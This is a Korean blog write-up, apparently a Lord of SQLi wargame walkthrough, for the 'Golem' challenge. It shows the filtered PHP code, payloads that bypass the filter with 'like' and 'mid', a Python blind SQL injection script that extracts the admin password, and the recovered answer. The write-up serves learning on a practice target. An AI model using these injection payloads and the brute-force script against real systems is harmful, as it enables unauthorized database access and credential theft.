[LOS] 11. Golem

고둑·2021년 7월 12일
0

LoS

목록 보기
11/21
post-thumbnail

힌트

  • substrmid로 우회 가능
  • =like로 우회 가능

풀이

코드 해석

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem"); 
  highlight_file(__FILE__); 
?>

이 문제는 전에 풀었던 Orge 문제랑 비슷하지만 많은 문자가 필터링 되었다.
이 중에서 가장 눈여겨보아야 할 부분은 =이 필터링 되었다는 점이다.

문제 풀이

Blind SQL injection

=이 필터링 당할 경우 여러 가지 우회 방법이 존재하지만 가장 많이 사용하는 방법인 like를 사용할 것이다.

그 외에는 이전에 수행했던 방식대로 Blind SQL injection을 수행하면 된다.

먼저 pw의 길이를 알아내려고 공격을 수행하면
https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?pw=%27||length(pw)%20like%208%23
8자리인것을 알 수 있다.

따라서 비밀번호 8자리를 모두 공격하여 알아내야 한다.
=, substr이 필터링 되었기 때문에 각각 like, mid로 바꿔서 공격을 시도하면 된다.

파이썬을 이용하여 스크립트를 짜보았다.

import urllib.request

answer = ""
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"

for i in range(1, 9):
    try:
        for j in range(32, 129):
            url = 'https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?pw=%27||length(pw)%3C10%26%26ascii(mid(pw,'
            url = url + str(i) + ',1))<' + str(j) + '--+'

            print(url)

            req = urllib.request.Request(url) #엔터 치기전 상태
            req.add_header('User-agent', user_agent) #헤더값 설정(los가 뱉어냄)
            req.add_header("Cookie", "PHPSESSID=res07ef6n87pg7clg2q6hfi3cd")

            res = urllib.request.urlopen(req) # 엔터누른 효과
            data = res.read().decode('utf-8') # 본문만 가져오기

            if data.find('<h2>Hello admin</h2>') != -1:
                print(chr(j-1))
                answer = answer + chr(j-1)
                break
    except Exception as e:
        continue

print(answer)

스크립트를 실행해보면 비밀번호는 77d6290b이 나온다.

https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?pw=77d6290b

profile
문워킹은 하지말자

0개의 댓글